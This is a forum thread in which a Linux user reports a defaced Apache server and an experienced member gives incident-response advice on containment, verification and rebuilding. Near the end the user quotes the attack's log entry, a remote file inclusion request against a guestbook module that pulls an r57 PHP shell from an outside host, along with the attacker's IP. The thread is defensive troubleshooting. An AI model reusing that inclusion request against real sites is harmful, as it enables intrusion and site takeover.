Hello,

Yesterday my server has been hacked and all my websites where defaced.
I thought I had a well protected system however it seems that the attack has been done via Apache.

I was just working on the server a few minutes ago and I saw the CPU load increase.
As I did not start any unusual application...I was a bit puzzled:
I noticed : owner apache command: find . -f chmod 777.

I think apache is not able to start such a process automatically...

Is it a normal apache behaviour? Or is it well a new attack?

Thanks for your answers

macadam

Sounds like an attack.

chmoding all files to be read,write,execute for everyone (777) is never a good idea.

Make sure you're running only the initial httpd process as root - all the rest of the apache processes should be running as a different user (modify httpd.conf) for that.

Also use lsof to see who is connected - you can use iptables to block suspected offending addresses.

Yesterday my server has been hacked and all my websites where defaced.
Letting it linger that long isn't a good start...

Is the box in colo or local?


I thought I had a well protected system however it seems that the attack has been done via Apache. I was just working on the server a few minutes ago and I saw the CPU load increase. As I did not start any unusual application...I was a bit puzzled: I noticed : owner apache command: find . -f chmod 777. I think apache is not able to start such a process automatically... Is it a normal apache behaviour? Or is it well a new attack?
Most likely a flaw in an (outdated version of an?) app Apache runs, think PHP-based fora or Wordpress or Awstats.

While I'll be taking shortcuts here, do the following to mitigate the situation, I'll post more verbose instructions soon after (do use common sense when executing):
- save snapshots of 1) processes, 2) network connections, 3) open files and 4) users off-site,
- reconfigure the firewall so only your IP (range) has access to anything on the box and restart the firewall,
- kill publicly accessable services (except SSH to get in) and keep them from starting up,
- if possible: reboot.

Wow that's a quick reply.

Initial Httpd is running as root and the other processes as 'apache' so...at least this is good.

Stupid question but is httpd as user 'allowed' to chmod? is there a risk?

Hi UnSpawn

I restored everything a few minutes after the attack...I am not crazzy ;-)
Thanks god, I have a good backup philosophy!
The box is a dedicated server hosted in a center.

I tried to get the IP of the attack but no luck...missed it.

Initial Httpd is running as root and the other processes as 'apache' so...at least this is good.
Yes, Apache starts as root and drops rights to the unprivileged "apache" user. Those are the children and they handle the requests. Mind you: "good" is IMNSHO not a valid criterium to base a decision on: you have to *verify* everything but we'll work on that.


Stupid question but is httpd as user 'allowed' to chmod?
Apache itself has no concept of applying or changing DAC rights. My first guess would be an uploaded PHP shell or remote includes.


is there a risk?
Yes. Mitigate the situation and do it NOW.

Thanks for your reply... I am monitoring and checking everything for hours...try to spot the problem!!!

I am monitoring and checking everything for hours...try to spot the problem!
I need to get one thing straight here. Could you tell me if you intend to mitigate the situation as outlined above or if you intend to continue your "monitoring and checking" approach?

I do my best...sorry

Definately no need to *apologise*. It's just that I would like to know what kind of support you will be needing. After all we won't be doing this, you are.

Well I am not an expert...just a common Linux user let's say and I thank you for the time you allocate to my problem.
I just want to prevent the hacking of yesterday to happen again (he replaced all index.php or index.htm* with his own file...)

So I just want to spot the vulnerability and 'solve' this issue...

OK Hacked again...got his IP 88.230.29.147 and found how he got in...

POST /modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=http://www.turkbanner.net/lang/r57.jpg? HTTP/1.1

I am deleting this module...

(..) I just want to prevent the hacking of yesterday to happen again
(...) I just want to spot the vulnerability and 'solve' this issue...

To be able to help us help you in a meaningful way I had to ask some questions. You answered about one I think. That leaves me with about zilch nfo to work with. Sure it would be easy to spill generic steps to take like reconfigure the box, update your software and harden it. That is however not even half the story but if you "just want to solve this" your way and get on with it, then so be it.

Let's make it clear I do not support that approach.

The best approach IMHO would be to first make sure the box is under your control. (Re)gaining control, keeping further damage from occurring, restricting access and making sure the box *stays* under your control is mandatory. Any further action is a waste of time and effort without that. The next step would be to verify the whole system in all aspects to assess to what extent the perp had access to the system. That step is mandatory because the conclusions you draw dictate what steps to take next. If you cannot ascertain the system was untouched and access was confined to only unprivileged user access then the only way to regain trust is a full system rebuild (as in repartition, reformat, reinstall from scratch). Sure you could sidestep this by restoring from a backup, but that would only work if 1) the backup covers the system completely, 2) the integrity of the backup can be verified w/o doubt and 3) the system will be brought up in a controlled way and access is restricted until the system is reconfigured, updated and hardened.


Since you haven't mitigated the situation, as your latest post clearly shows, you're back at post #3.

HI,

I surely did not want to upset you...
I followed your suggestions but in my opinion, there is no use to restore backups and system if the way the hacker went through is not defined...the same situation will occur again after restoration.
So first, I found how it came through. At that moment, log copied, server isolated and solutions applied.

After that procedure and hours of checks to trust again all params, the server is back online.

thanks for your help, and it is always good to be a bit shaken by experts ;-)

regards

macadam

I followed your suggestions but in my opinion, there is no use to restore backups and system if the way the hacker went through is not defined...the same situation will occur again after restoration.
You didn't read what I wrote too well.


So first, I found how it came through. At that moment, log copied,
Wasn't hard to locate the exploit. BTW, sharing detailed who-what-how info definately is the best way to thank LQ for its efforts, and sharing your experiences may win you the gratitude of those users that may find themselves in the same position.


server isolated and solutions applied. After that procedure and hours of checks to trust again all params, the server is back online.
Details on what "solutions applied" and what "checks to trust again all params" contain would be welcome.